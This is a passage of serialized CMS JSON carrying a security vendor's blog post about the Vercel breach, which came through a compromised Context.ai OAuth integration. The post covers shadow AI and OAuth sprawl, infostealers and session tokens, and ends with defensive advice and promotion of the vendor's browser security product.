Type":865},{},[],{"data":39976,"marks":39977,"value":21,"nodeType":865},{},[],{"data":39979,"content":39980,"nodeType":1317},{},[39981],{"data":39982,"marks":39983,"value":16038,"nodeType":865},{},[39984],{"type":926},{"data":39986,"content":39987,"nodeType":866},{},[39988],{"data":39989,"marks":39990,"value":16045,"nodeType":865},{},[],{"data":39992,"content":39993,"nodeType":972},{},[],{"data":39995,"content":39996,"nodeType":866},{},[39997],{"data":39998,"marks":39999,"value":4591,"nodeType":865},{},[],{"data":40001,"content":40002,"nodeType":866},{},[40003],{"data":40004,"marks":40005,"value":1363,"nodeType":865},{},[],{"data":40007,"content":40008,"nodeType":866},{},[40009,40012,40018],{"data":40010,"marks":40011,"value":21,"nodeType":865},{},[],{"data":40013,"content":40014,"nodeType":889},{"uri":16069},[40015],{"data":40016,"marks":40017,"value":1378,"nodeType":865},{},[],{"data":40019,"marks":40020,"value":21,"nodeType":865},{},[],{"data":40022,"content":40023,"nodeType":972},{},[],{"data":40025,"content":40026,"nodeType":981},{},[40027],{"data":40028,"marks":40029,"value":16087,"nodeType":865},{},[40030],{"type":926},{"data":40032,"content":40033,"nodeType":866},{},[40034,40037,40043],{"data":40035,"marks":40036,"value":16094,"nodeType":865},{},[],{"data":40038,"content":40039,"nodeType":889},{"uri":4991},[40040],{"data":40041,"marks":40042,"value":16101,"nodeType":865},{},[],{"data":40044,"marks":40045,"value":16105,"nodeType":865},{},[],{"data":40047,"content":40048,"nodeType":2927},{},[40049,40092,40148,40191,40234],{"data":40050,"content":40051,"nodeType":2400},{},[40052,40062,40072,40082],{"data":40053,"content":40054,"nodeType":2366},{},[40055],{"data":40056,"content":40057,"nodeType":866},{},[40058],{"data":40059,"marks":40060,"value":16122,"nodeType":865},{},[40061],{"type":926},{"data":40063,"content":40064,"nodeType":2366},{},[40065],{"data":40066,"content":40067,"nodeType":866},{},[40068],{"data":40069,"marks":40070,"value":16133,"nodeType":865},{},[40071],{"type":926},{"data":40073,"content":40074,"nodeType":2366},{},[40075],{"data":40076,"content":40077,"nodeType":866},{},[40078],{"data":40079,"marks":40080,"value":16144,"nodeType":865},{},[40081],{"type":926},{"data":40083,"content":40084,"nodeType":2366},{},[40085],{"data":40086,"content":40087,"nodeType":866},{},[40088],{"data":40089,"marks":40090,"value":16155,"nodeType":865},{},[40091],{"type":926},{"data":40093,"content":40094,"nodeType":2400},{},[40095,40115,40124,40133],{"data":40096,"content":40097,"nodeType":2366},{},[40098],{"data":40099,"content":40100,"nodeType":866},{},[40101,40105,40108,40112],{"data":40102,"marks":40103,"value":16169,"nodeType":865},{},[40104],{"type":926},{"data":40106,"marks":40107,"value":16173,"nodeType":865},{},[],{"data":40109,"marks":40110,"value":16178,"nodeType":865},{},[40111],{"type":926},{"data":40113,"marks":40114,"value":16182,"nodeType":865},{},[],{"data":40116,"content":40117,"nodeType":2366},{},[40118],{"data":40119,"content":40120,"nodeType":866},{},[40121],{"data":40122,"marks":40123,"value":16192,"nodeType":865},{},[],{"data":40125,"content":40126,"nodeType":2366},{},[40127],{"data":40128,"content":40129,"nodeType":866},{},[40130],{"data":40131,"marks":40132,"value":16202,"nodeType":865},{},[],{"data":40134,"content":40135,"nodeType":2366},{},[40136,40142],{"data":40137,"content":40138,"nodeType":866},{},[40139],{"data":40140,"marks":40141,"value":16212,"nodeType":865},{},[],{"data":40143,"content":40144,"nodeType":866},{},[40145],{"data":40146,"marks":40147,"value":16219,"nodeType":865},{},[],{"data":40149,"content":40150,"nodeType":2400},{},[40151,40164,40173,40182],{"data":40152,"content":40153,"nodeType":2366},{},[40154],{"data":40155,"content":40156,"nodeType":866},{},[40157,40161],{"data":40158,"marks":40159,"value":16233,"nodeType":865},{},[40160],{"type":926},{"data":40162,"marks":40163,"value":16237,"nodeType":865},{},[],{"data":40165,"content":40166,"nodeType":2366},{},[40167],{"data":40168,"content":40169,"nodeType":866},{},[40170],{"data":40171,"marks":40172,"value":16247,"nodeType":865},{},[],{"data":40174,"content":40175,"nodeType":2366},{},[40176],{"data":40177,"content":40178,"nodeType":866},{},[40179],{"data":40180,"marks":40181,"value":16257,"nodeType":865},{},[],{"data":40183,"content":40184,"nodeType":2366},{},[40185],{"data":40186,"content":40187,"nodeType":866},{},[40188],{"data":40189,"marks":40190,"value":16267,"nodeType":865},{},[],{"data":40192,"content":40193,"nodeType":2400},{},[40194,40207,40216,40225],{"data":40195,"content":40196,"nodeType":2366},{},[40197],{"data":40198,"content":40199,"nodeType":866},{},[40200,40204],{"data":40201,"marks":40202,"value":16281,"nodeType":865},{},[40203],{"type":926},{"data":40205,"marks":40206,"value":16285,"nodeType":865},{},[],{"data":40208,"content":40209,"nodeType":2366},{},[40210],{"data":40211,"content":40212,"nodeType":866},{},[40213],{"data":40214,"marks":40215,"value":16295,"nodeType":865},{},[],{"data":40217,"content":40218,"nodeType":2366},{},[40219],{"data":40220,"content":40221,"nodeType":866},{},[40222],{"data":40223,"marks":40224,"value":16305,"nodeType":865},{},[],{"data":40226,"content":40227,"nodeType":2366},{},[40228],{"data":40229,"content":40230,"nodeType":866},{},[40231],{"data":40232,"marks":40233,"value":16315,"nodeType":865},{},[],{"data":40235,"content":40236,"nodeType":2400},{},[40237,40250,40259,40268],{"data":40238,"content":40239,"nodeType":2366},{},[40240],{"data":40241,"content":40242,"nodeType":866},{},[40243,40247],{"data":40244,"marks":40245,"value":16329,"nodeType":865},{},[40246],{"type":926},{"data":40248,"marks":40249,"value":16333,"nodeType":865},{},[],{"data":40251,"content":40252,"nodeType":2366},{},[40253],{"data":40254,"content":40255,"nodeType":866},{},[40256],{"data":40257,"marks":40258,"value":16192,"nodeType":865},{},[],{"data":40260,"content":40261,"nodeType":2366},{},[40262],{"data":40263,"content":40264,"nodeType":866},{},[40265],{"data":40266,"marks":40267,"value":16352,"nodeType":865},{},[],{"data":40269,"content":40270,"nodeType":2366},{},[40271],{"data":40272,"content":40273,"nodeType":866},{},[40274],{"data":40275,"marks":40276,"value":16362,"nodeType":865},{},[],{"data":40278,"content":40279,"nodeType":866},{},[40280],{"data":40281,"marks":40282,"value":21,"nodeType":865},{},[],{"items":40284},[40285,40287],{"sys":40286,"name":7796},{"id":7795},{"sys":40288,"name":342},{"id":4642},{"items":40290},[40291],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":40292},{"url":7804},{"__typename":1429,"sys":40294,"content":40296,"title":41038,"synopsis":41039,"hashTags":59,"publishedDate":41040,"slug":41041,"tagsCollection":41042,"authorsCollection":41048},{"id":40295},"Lq2AFQ8VG2rMEe4h2CYuH",{"json":40297},{"data":40298,"content":40299,"nodeType":1382},{},[40300,40327,40359,40366,40372,40375,40383,40390,40396,40415,40422,40430,40450,40466,40473,40480,40483,40491,40498,40505,40568,40575,40583,40595,40602,40609,40615,40623,40630,40637,40644,40651,40657,40665,40672,40757,40763,40766,40774,40781,40797,40804,40811,40817,40836,40839,40847,40854,40860,40878,40885,40892,40898,40901,40908,40915,40922,40928,40935,40941,40947,40972,40978,40990,40997,41004],{"data":40301,"content":40302,"nodeType":866},{},[40303,40307,40315,40319,40324],{"data":40304,"marks":40305,"value":40306,"nodeType":865},{},[],"This week, a user going by the name of “ShinyHunters” (though allegedly not ",{"data":40308,"content":40309,"nodeType":889},{"uri":4991},[40310],{"data":40311,"marks":40312,"value":40314,"nodeType":865},{},[40313],{"type":943},"actual ShinyHunters",{"data":40316,"marks":40317,"value":40318,"nodeType":865},{},[],", but someone imitating them in an attempt to trade off their credibility) posted on a breach forum claiming access keys, source code, and database data stolen from cloud development platform provider ",{"data":40320,"marks":40321,"value":40323,"nodeType":865},{},[40322],{"type":926},"Vercel",{"data":40325,"marks":40326,"value":14251,"nodeType":865},{},[],{"data":40328,"content":40329,"nodeType":866},{},[40330,40334,40343,40347,40355],{"data":40331,"marks":40332,"value":40333,"nodeType":865},{},[],"This happened because a Vercel employee had connected an AI app, Context.ai, into their Google Workspace tenant. When Context.ai was compromised — ",{"data":40335,"content":40337,"nodeType":889},{"uri":40336},"https://www.infostealers.com/article/breaking-vercel-breach-linked-to-infostealer-infection-at-context-ai/",[40338],{"data":40339,"marks":40340,"value":40342,"nodeType":865},{},[40341],{"type":943},"allegedly the result of an infostealer infection from an employee searching for Roblox cheats",{"data":40344,"marks":40345,"value":40346,"nodeType":865},{},[]," — the attacker was able to leverage OAuth tokens stored in Context.ai’s Supabase platform to access downstream customer accounts (pointing to a heavily permissioned victim, probably a developer, possibly even a ",{"data":40348,"content":40349,"nodeType":889},{"uri":24925},[40350],{"data":40351,"marks":40352,"value":40354,"nodeType":865},{},[40353],{"type":943},"personal device with access to corp credentials",{"data":40356,"marks":40357,"value":40358,"nodeType":865},{},[],"). ",{"data":40360,"content":40361,"nodeType":866},{},[40362],{"data":40363,"marks":40364,"value":40365,"nodeType":865},{},[],"This access included a Vercel employee’s Google Workspace account. This particular user had significant access to data and secrets in Vercel’s systems, including internal dashboards, employee records, API keys, NPM tokens, and GitHub tokens, which the attacker was able to exfiltrate, holding Vercel to ransom for $2 million. ",{"data":40367,"content":40371,"nodeType":912},{"target":40368},{"sys":40369},{"id":40370,"type":909,"linkType":910},"6Ft8aSnzfYVZ7j57mYeXgQ",[],{"data":40373,"content":40374,"nodeType":972},{},[],{"data":40376,"content":40377,"nodeType":981},{},[40378],{"data":40379,"marks":40380,"value":40382,"nodeType":865},{},[40381],{"type":926},"How did this happen, and what could have stopped it?",{"data":40384,"content":40385,"nodeType":866},{},[40386],{"data":40387,"marks":40388,"value":40389,"nodeType":865},{},[],"From Vercel’s perspective, this attack could have been avoided had their employees been blocked from adding new OAuth integrations without admin approval (a toggle in their Google admin panel, and an essential control in a well-configured environment). Or, if the integration had been flagged in a routine audit and removed. ",{"data":40391,"content":40395,"nodeType":912},{"target":40392},{"sys":40393},{"id":40394,"type":909,"linkType":910},"b5HFvY1m6RnuXL3a95jVt",[],{"data":40397,"content":40398,"nodeType":866},{},[40399,40403,40411],{"data":40400,"marks":40401,"value":40402,"nodeType":865},{},[],"It probably should have been removed, too. The particular OAuth app that was connected into the environment was a deprecated “AI Office Suite” product intended for consumer use. ",{"data":40404,"content":40406,"nodeType":889},{"uri":40405},"https://context.ai/security-update",[40407],{"data":40408,"marks":40409,"value":40410,"nodeType":865},{},[],"According to Context.ai",{"data":40412,"marks":40413,"value":40414,"nodeType":865},{},[],", Vercel aren’t even a registered customer — adding more evidence that this was probably the result of a self-service trial that was subsequently forgotten about. That consumer product has also since been replaced by an enterprise product. But for whatever reason, the access hadn’t been revoked (from either side). ",{"data":40416,"content":40417,"nodeType":866},{},[40418],{"data":40419,"marks":40420,"value":40421,"nodeType":865},{},[],"The elephant in the room is that Context.ai is an AI app. Most organizations are rightly nervous about employees adding unapproved AI SaaS into their environment. Having employees use shadow AI in the form of LLMs is one thing — users uploading sensitive data to unapproved apps or external tenants being the key concern. But OAuth grants are even more dangerous. Because if that app or vendor is compromised, the apps and accounts you’ve integrated it with are also at risk — which is what was exploited here. ",{"data":40423,"content":40424,"nodeType":1317},{},[40425],{"data":40426,"marks":40427,"value":40429,"nodeType":865},{},[40428],{"type":926},"Where’s the fault?",{"data":40431,"content":40432,"nodeType":866},{},[40433,40437,40446],{"data":40434,"marks":40435,"value":40436,"nodeType":865},{},[],"It’s easy to point fingers here. There are multiple control gaps and failures for both parties. Vercel should have disabled OAuth grants without admin approval, and regularly audited the connections in their environment. From a vendor's perspective, they could have also default applied a control that ",{"data":40438,"content":40440,"nodeType":889},{"uri":40439},"https://vercel.com/kb/bulletin/vercel-april-2026-security-incident",[40441],{"data":40442,"marks":40443,"value":40445,"nodeType":865},{},[40444],{"type":943},"prevents secret environment variables from being read",{"data":40447,"marks":40448,"value":40449,"nodeType":865},{},[]," — which would have significantly reduced the impact to Vercel customers from the data breach. ",{"data":40451,"content":40452,"nodeType":866},{},[40453,40457,40462],{"data":40454,"marks":40455,"value":40456,"nodeType":865},{},[],"Context.ai comes off worse. They could and should have had better separation of accounts and privileges — and if true, their users really shouldn’t be downloading Roblox scripts on devices they use for work access. It’s important to say ",{"data":40458,"marks":40459,"value":40461,"nodeType":865},{},[40460],{"type":898},"if true",{"data":40463,"marks":40464,"value":40465,"nodeType":865},{},[]," here, but the prospect of third parties accessing your environment from insecure devices that they use for gaming is the stuff of nightmares for enterprise security and compliance teams.",{"data":40467,"content":40468,"nodeType":866},{},[40469],{"data":40470,"marks":40471,"value":40472,"nodeType":865},{},[],"You definitely don’t want to be Context.ai in this scenario. The reputational harm could be pretty significant, and is a wake-up call for other SaaS vendors to check that their house is in order. But although Vercel have responded quickly and transparently to the incident, this could only really have happened as a result of technical and procedural control gaps on their end.",{"data":40474,"content":40475,"nodeType":866},{},[40476],{"data":40477,"marks":40478,"value":40479,"nodeType":865},{},[],"It’s worth taking a step back and looking at the bigger picture here — and how these issues might impact your organization too. ",{"data":40481,"content":40482,"nodeType":972},{},[],{"data":40484,"content":40485,"nodeType":981},{},[40486],{"data":40487,"marks":40488,"value":40490,"nodeType":865},{},[40489],{"type":926},"Shadow AI is still just shadow SaaS – but the AI scramble is a force multiplier",{"data":40492,"content":40493,"nodeType":866},{},[40494],{"data":40495,"marks":40496,"value":40497,"nodeType":865},{},[],"Shadow IT, and in particular shadow SaaS, is not a new problem. Most organizations run heavily (or exclusively) on SaaS, accessed in the browser, with hundreds of apps per enterprise. Unmanaged, self-adopted apps have been a thorn in the side of security teams for some time. ",{"data":40499,"content":40500,"nodeType":866},{},[40501],{"data":40502,"marks":40503,"value":40504,"nodeType":865},{},[],"There are essentially four kinds of shadow IT to be wary of in the context of AI apps:",{"data":40506,"content":40507,"nodeType":1616},{},[40508,40523,40538,40553],{"data":40509,"content":40510,"nodeType":1570},{},[40511],{"data":40512,"content":40513,"nodeType":866},{},[40514,40519],{"data":40515,"marks":40516,"value":40518,"nodeType":865},{},[40517],{"type":926},"Shadow apps:",{"data":40520,"marks":40521,"value":40522,"nodeType":865},{},[]," Apps that employees have signed up to and are using for business purposes without business approval. This includes apps signed up to with a corporate account or personal account. ",{"data":40524,"content":40525,"nodeType":1570},{},[40526],{"data":40527,"content":40528,"nodeType":866},{},[40529,40534],{"data":40530,"marks":40531,"value":40533,"nodeType":865},{},[40532],{"type":926},"Shadow tenants:",{"data":40535,"marks":40536,"value":40537,"nodeType":865},{},[]," Apps that employees are accessing with personal accounts, essentially creating shadow tenants outside of your organization’s control — even if you’ve approved the app itself.",{"data":40539,"content":40540,"nodeType":1570},{},[40541],{"data":40542,"content":40543,"nodeType":866},{},[40544,40549],{"data":40545,"marks":40546,"value":40548,"nodeType":865},{},[40547],{"type":926},"Shadow extensions:",{"data":40550,"marks":40551,"value":40552,"nodeType":865},{},[]," Many AI apps come with an extension counterpart, along with countless third-party extensions that are either untrustworthy or downright malicious. Browser extensions add another angle to the equation by presenting visibility beyond the application into browser activity. ",{"data":40554,"content":40555,"nodeType":1570},{},[40556],{"data":40557,"content":40558,"nodeType":866},{},[40559,40564],{"data":40560,"marks":40561,"value":40563,"nodeType":865},{},[40562],{"type":926},"Shadow integrations:",{"data":40565,"marks":40566,"value":40567,"nodeType":865},{},[]," OAuth connections across apps that aren’t known or approved. Even if an app itself is approved, plugging that app directly into your primary enterprise apps — with all the sensitive data and functionality therein — isn't necessarily also approved.  ",{"data":40569,"content":40570,"nodeType":866},{},[40571],{"data":40572,"marks":40573,"value":40574,"nodeType":865},{},[],"In the Vercel case, we’re talking specifically about shadow integrations. But all of these present a key risk to your organization. ",{"data":40576,"content":40577,"nodeType":1317},{},[40578],{"data":40579,"marks":40580,"value":40582,"nodeType":865},{},[40581],{"type":926},"The web of OAuth sprawl spans way beyond Google and Microsoft ",{"data":40584,"content":40585,"nodeType":866},{},[40586,40591],{"data":40587,"marks":40588,"value":40590,"nodeType":865},{},[40589],{"type":926},"On average we see 17 unique AI app integrations per organization in Microsoft and Google alone",{"data":40592,"marks":40593,"value":40594,"nodeType":865},{},[],". If you consider that most organizations have probably approved 1 or 2 max for business use, and may have approved none at all for app-to-app OAuth connectivity, that’s quite a significant difference. ",{"data":40596,"content":40597,"nodeType":866},{},[40598],{"data":40599,"marks":40600,"value":40601,"nodeType":865},{},[],"The number of connections outside of these core platforms is significantly higher. Just think how the typical AI app operates. If you want it to be able to effectively automate workflows — pull data from one app, aggregate and analyze it in another, present that information in a report, dashboard, or presentation, and then distribute it — that’s a fair few integrations in just one workflow. MCP connections use OAuth to achieve this interconnectivity in the same way as any other SaaS app.",{"data":40603,"content":40604,"nodeType":866},{},[40605],{"data":40606,"marks":40607,"value":40608,"nodeType":865},{},[],"We used to talk about automation apps like Zapier as being a goldmine for attackers. Well, AI apps are on their way to being even more interconnected, more frequently used, and more flexible in terms of how attackers can abuse them. ",{"data":40610,"content":40614,"nodeType":912},{"target":40611},{"sys":40612},{"id":40613,"type":909,"linkType":910},"4FiWyVw7mpVBA5uBVJoOKL",[],{"data":40616,"content":40617,"nodeType":1317},{},[40618],{"data":40619,"marks":40620,"value":40622,"nodeType":865},{},[40621],{"type":926},"A note on OAuth configuration complexity",{"data":40624,"content":40625,"nodeType":866},{},[40626],{"data":40627,"marks":40628,"value":40629,"nodeType":865},{},[],"A common misconception is that when a regular user consents to an OAuth app (let's use Google Workspace as the example) the app only gets access to the things they can directly access. Technically that's true — the access is scoped to that user's permissions. But in practice, the blast radius is almost always bigger than people think.",{"data":40631,"content":40632,"nodeType":866},{},[40633],{"data":40634,"marks":40635,"value":40636,"nodeType":865},{},[],"The scope includes shared drives, shared calendars, documents shared with them, and any other collaborative resources. A single well-permissioned user (think: developer with access to secrets, dashboards, and internal tooling) is more than enough to cause serious damage through a single OAuth grant. ",{"data":40638,"content":40639,"nodeType":866},{},[40640],{"data":40641,"marks":40642,"value":40643,"nodeType":865},{},[],"The scopes themselves are often deceptively broad. An app requesting https://www.googleapis.com/auth/drive gets full read/write access to everything the user can see in Drive — not just their personal files. And the blast radius is further contingent on the data and user permission hygiene in these broader environments. ",{"data":40645,"content":40646,"nodeType":866},{},[40647],{"data":40648,"marks":40649,"value":40650,"nodeType":865},{},[],"So if your environment hasn't got cleanly separated access and permissions for different users and groups, an attacker compromising a \"normal\" user account can end up with extensive access. You don't need tenant-wide admin access when a normal user's access already spans the crown jewels.",{"data":40652,"content":40656,"nodeType":912},{"target":40653},{"sys":40654},{"id":40655,"type":909,"linkType":910},"2t81AnAHx2On3fBynM4vVe",[],{"data":40658,"content":40659,"nodeType":1317},{},[40660],{"data":40661,"marks":40662,"value":40664,"nodeType":865},{},[40663],{"type":926},"Unsurprisingly, OAuth breaches are stacking up",{"data":40666,"content":40667,"nodeType":866},{},[40668],{"data":40669,"marks":40670,"value":40671,"nodeType":865},{},[],"Widespread OAuth interconnectedness isn’t just an AI app problem. Attackers have been exploiting this for some time:",{"data":40673,"content":40674,"nodeType":1616},{},[40675,40721],{"data":40676,"content":40677,"nodeType":1570},{},[40678],{"data":40679,"content":40680,"nodeType":866},{},[40681,40685,40692,40696,40704,40708,40717],{"data":40682,"marks":40683,"value":40684,"nodeType":865},{},[],"In 2025, ",{"data":40686,"content":40687,"nodeType":889},{"uri":4991},[40688],{"data":40689,"marks":40690,"value":8673,"nodeType":865},{},[40691],{"type":943},{"data":40693,"marks":40694,"value":40695,"nodeType":865},{},[]," launched OAuth-driven supply chain attacks against Salesforce and Google Workspace tenants after breaching Salesloft (specifically the ",{"data":40697,"content":40698,"nodeType":889},{"uri":15501},[40699],{"data":40700,"marks":40701,"value":40703,"nodeType":865},{},[40702],{"type":943},"Salesloft Drift",{"data":40705,"marks":40706,"value":40707,"nodeType":865},{},[]," platform) and ",{"data":40709,"content":40711,"nodeType":889},{"uri":40710},"https://www.bleepingcomputer.com/news/security/salesforce-investigates-customer-data-theft-via-gainsight-breach/",[40712],{"data":40713,"marks":40714,"value":40716,"nodeType":865},{},[40715],{"type":943},"Gainsight",{"data":40718,"marks":40719,"value":40720,"nodeType":865},{},[],". In total, over 1000 organizations were impacted, including Google, Cloudflare, Rubrik, Elastic, Proofpoint, JFrog, Zscaler, Tenable, Palo Alto Networks, CyberArk, BeyondTrust, Qualys, and many more, with over 1.5B records stolen. ",{"data":40722,"content":40723,"nodeType":1570},{},[40724],{"data":40725,"content":40726,"nodeType":866},{},[40727,40731,40740,40744,40753],{"data":40728,"marks":40729,"value":40730,"nodeType":865},{},[],"More recently, Snowflake customers were impacted after a ",{"data":40732,"content":40734,"nodeType":889},{"uri":40733},"https://www.bleepingcomputer.com/news/security/snowflake-customers-hit-in-data-theft-attacks-after-saas-integrator-breach/",[40735],{"data":40736,"marks":40737,"value":40739,"nodeType":865},{},[40738],{"type":943},"breach at data anomaly detection company Anodot",{"data":40741,"marks":40742,"value":40743,"nodeType":865},{},[]," where the attacker attempted to leverage the stolen authentication tokens to access Salesforce data, with ",{"data":40745,"content":40747,"nodeType":889},{"uri":40746},"https://www.bleepingcomputer.com/news/security/stolen-rockstar-games-analytics-data-leaked-by-extortion-gang/",[40748],{"data":40749,"marks":40750,"value":40752,"nodeType":865},{},[40751],{"type":943},"Rockstar",{"data":40754,"marks":40755,"value":40756,"nodeType":865},{},[]," a high-profile victim of the breach (again linked to Scattered Lapsus$ Hunters). ",{"data":40758,"content":40762,"nodeType":912},{"target":40759},{"sys":40760},{"id":40761,"type":909,"linkType":910},"3oqoL9L3fxetFcIhnfQhMQ",[],{"data":40764,"content":40765,"nodeType":972},{},[],{"data":40767,"content":40768,"nodeType":981},{},[40769],{"data":40770,"marks":40771,"value":40773,"nodeType":865},{},[40772],{"type":926},"Infostealers continue to drive corporate breaches",{"data":40775,"content":40776,"nodeType":866},{},[40777],{"data":40778,"marks":40779,"value":40780,"nodeType":865},{},[],"While unverified, Hudson Rock’s case for an infostealer breach being the root cause of the Context.ai breach seems believable. Infostealer infections have been one of the leading security threats for some time, fuelling breaches powered by stolen credentials and session tokens.",{"data":40782,"content":40783,"nodeType":866},{},[40784,40788,40793],{"data":40785,"marks":40786,"value":40787,"nodeType":865},{},[],"With the assumed rise in MFA coverage, it’s often surprising to security teams that stolen credentials are still a problem. ",{"data":40789,"marks":40790,"value":40792,"nodeType":865},{},[40791],{"type":926},"But of the last million logins we saw, 1 in 4 were password logins (not SSO), 2 in 5 were not protected by MFA, and 1 in 5 used a weak, breached, or reused password. ",{"data":40794,"marks":40795,"value":40796,"nodeType":865},{},[],"Plenty of scope for abuse. ",{"data":40798,"content":40799,"nodeType":866},{},[40800],{"data":40801,"marks":40802,"value":40803,"nodeType":865},{},[],"Stolen session tokens are even more valuable to attackers, enabling them to bypass authentication controls by replaying the token in their own browser. In theory, they should only be valid for a limited timeframe, but in practice this can be as many as 90 days, and sometimes indefinite. ",{"data":40805,"content":40806,"nodeType":866},{},[40807],{"data":40808,"marks":40809,"value":40810,"nodeType":865},{},[],"In this case, it seems likely that the compromised device was a developer machine (given the access to Supabase), or potentially even a personal device (given they were installing Roblox cheats…). This is relevant because these personal, developer, and BYOD machines are often less secure — developer machines are often exempt from EDR monitoring or significantly tuned-down (too noisy), while personal devices naturally lack enterprise security software.",{"data":40812,"content":40816,"nodeType":912},{"target":40813},{"sys":40814},{"id":40815,"type":909,"linkType":910},"139oaGgwRKZbwJzyex9LA5",[],{"data":40818,"content":40819,"nodeType":866},{},[40820,40824,40832],{"data":40821,"marks":40822,"value":40823,"nodeType":865},{},[],"We’ve also seen an uptick in developer-oriented phishing and malvertising campaigns. The ",{"data":40825,"content":40826,"nodeType":889},{"uri":7712},[40827],{"data":40828,"marks":40829,"value":40831,"nodeType":865},{},[40830],{"type":943},"InstallFix campaign",{"data":40833,"marks":40834,"value":40835,"nodeType":865},{},[]," we identified, intercepting users as they attempt to install AI tools like Claude Code and NotebookLM, is an example of this — and also another way that attackers are capitalizing on AI hype. ",{"data":40837,"content":40838,"nodeType":972},{},[],{"data":40840,"content":40841,"nodeType":981},{},[40842],{"data":40843,"marks":40844,"value":40846,"nodeType":865},{},[40845],{"type":926},"Advice for security teams",{"data":40848,"content":40849,"nodeType":866},{},[40850],{"data":40851,"marks":40852,"value":40853,"nodeType":865},{},[],"There are some immediate next steps that we’ll quickly summarize here, as they've already been covered in wider reporting. If you’re a Vercel customer, you should urgently rotate every credential stored as a non-sensitive variable that could have been exposed, enable the sensitive variable feature toggle, and monitor your account for anomalous activity. And if you’re using the specific Context.ai integration, you need to revoke it ASAP and begin a full audit of the connected accounts, both inside Workspace and broader connected apps (this isn’t that easy, as we’ll highlight in a moment). ",{"data":40855,"content":40859,"nodeType":912},{"target":40856},{"sys":40857},{"id":40858,"type":909,"linkType":910},"76HViirkH2R4QAzWg605sv",[],{"data":40861,"content":40862,"nodeType":866},{},[40863,40867,40875],{"data":40864,"marks":40865,"value":40866,"nodeType":865},{},[],"Taking a step back, organizations really need to get their arms around OAuth integrations in their environment. A default-deny approach to allowing users to consent to new integrations, and routinely auditing the ones already in your environment to ensure they’re still definitely required, is essential. Each integration expands your attack surface and could potentially grant an attacker extensive access to your environment. This default-deny approach isn't exactly a new concept for security teams and is the same in principle as what we recently advised for ",{"data":40868,"content":40869,"nodeType":889},{"uri":8268},[40870],{"data":40871,"marks":40872,"value":40874,"nodeType":865},{},[40873],{"type":943},"browser extension management",{"data":40876,"marks":40877,"value":14251,"nodeType":865},{},[],{"data":40879,"content":40880,"nodeType":866},{},[40881],{"data":40882,"marks":40883,"value":40884,"nodeType":865},{},[],"This is fairly straightforward in your main enterprise cloud environment (think M365 or Google Workspace). But doing it across every SaaS app that allows some level of OAuth integration with another (i.e. every SaaS app) is somewhat harder. Not only do you need to have a comprehensive and up-to-date inventory, you need to be an app admin for every app (not always the case for self-adopted apps) and the particular app needs to give you the control to restrict and remove OAuth grants on behalf of users in your tenant. ",{"data":40886,"content":40887,"nodeType":866},{},[40888],{"data":40889,"marks":40890,"value":40891,"nodeType":865},{},[],"Again, this is not exclusively a Shadow AI problem, even if AI adoption is contributing significantly to the sprawl. ",{"data":40893,"content":40897,"nodeType":912},{"target":40894},{"sys":40895},{"id":40896,"type":909,"linkType":910},"XKKHUiz56G82uwYhbv2Qv",[],{"data":40899,"content":40900,"nodeType":972},{},[],{"data":40902,"content":40903,"nodeType":981},{},[40904],{"data":40905,"marks":40906,"value":6331,"nodeType":865},{},[40907],{"type":926},{"data":40909,"content":40910,"nodeType":866},{},[40911],{"data":40912,"marks":40913,"value":40914,"nodeType":865},{},[],"As we’ve established, there are quite a few pieces to this puzzle. Push can help with all of them. ",{"data":40916,"content":40917,"nodeType":866},{},[40918],{"data":40919,"marks":40920,"value":40921,"nodeType":865},{},[],"Push observes every app login your employees make in their browser, building a comprehensive picture of SaaS and AI use across your organization. This includes how they’re logging in and how secure the login is: did it have MFA, what kind of MFA, was it using a weak or compromised password, did they use SSO, and so on. ",{"data":40923,"content":40927,"nodeType":912},{"target":40924},{"sys":40925},{"id":40926,"type":909,"linkType":910},"2B205bUaLm6vG8mIQ0rJvA",[],{"data":40929,"content":40930,"nodeType":866},{},[40931],{"data":40932,"marks":40933,"value":40934,"nodeType":865},{},[],"Push also tracks OAuth integrations in your environment and gives you the ability to manage and remove them in core environments like M365 and Google Workspace, providing a single platform for you to view, manage, and secure app use across your organization. ",{"data":40936,"content":40940,"nodeType":912},{"target":40937},{"sys":40938},{"id":40939,"type":909,"linkType":910},"eEbdBUfyzZsdIOjFOXHpM",[],{"data":40942,"content":40946,"nodeType":912},{"target":40943},{"sys":40944},{"id":40945,"type":909,"linkType":910},"1MTFxfROuGKxnkHQwWHe8K",[],{"data":40948,"content":40949,"nodeType":866},{},[40950,40954,40959,40963,40968],{"data":40951,"marks":40952,"value":40953,"nodeType":865},{},[],"This makes it easy to surface both vulnerabilities and possible control gaps, and do something about them. But where Push really excels is in the ability to observe and block OAuth connection requests ",{"data":40955,"marks":40956,"value":40958,"nodeType":865},{},[40957],{"type":926},"even outside of your primary enterprise apps.",{"data":40960,"marks":40961,"value":40962,"nodeType":865},{},[]," Using Push, you can detect and block OAuth integration requests as they traverse the browser. This ",{"data":40964,"marks":40965,"value":40967,"nodeType":865},{},[40966],{"type":926},"app-agnostic",{"data":40969,"marks":40970,"value":40971,"nodeType":865},{},[]," level of control is absolutely critical to halting OAuth integration sprawl. ",{"data":40973,"content":40977,"nodeType":912},{"target":40974},{"sys":40975},{"id":40976,"type":909,"linkType":910},"2VZ4uw6MXslXME2ueydGuT",[],{"data":40979,"content":40980,"nodeType":1317},{},[40981,40985],{"data":40982,"marks":40983,"value":40984,"nodeType":865},{},[],"And t",{"data":40986,"marks":40987,"value":40989,"nodeType":865},{},[40988],{"type":926},"hat’s not all …",{"data":40991,"content":40992,"nodeType":866},{},[40993],{"data":40994,"marks":40995,"value":40996,"nodeType":865},{},[],"Push’s browser-based security platform also detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking in real time. This includes the most prominent infostealer delivery vectors in terms of malvertising and *Fix-style attacks. Push analyzes every web page in every browser session and tab for threats, in real time, with no latency. ",{"data":40998,"content":40999,"nodeType":866},{},[41000],{"data":41001,"marks":41002,"value":41003,"nodeType":865},{},[],"But as we've established, you don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack 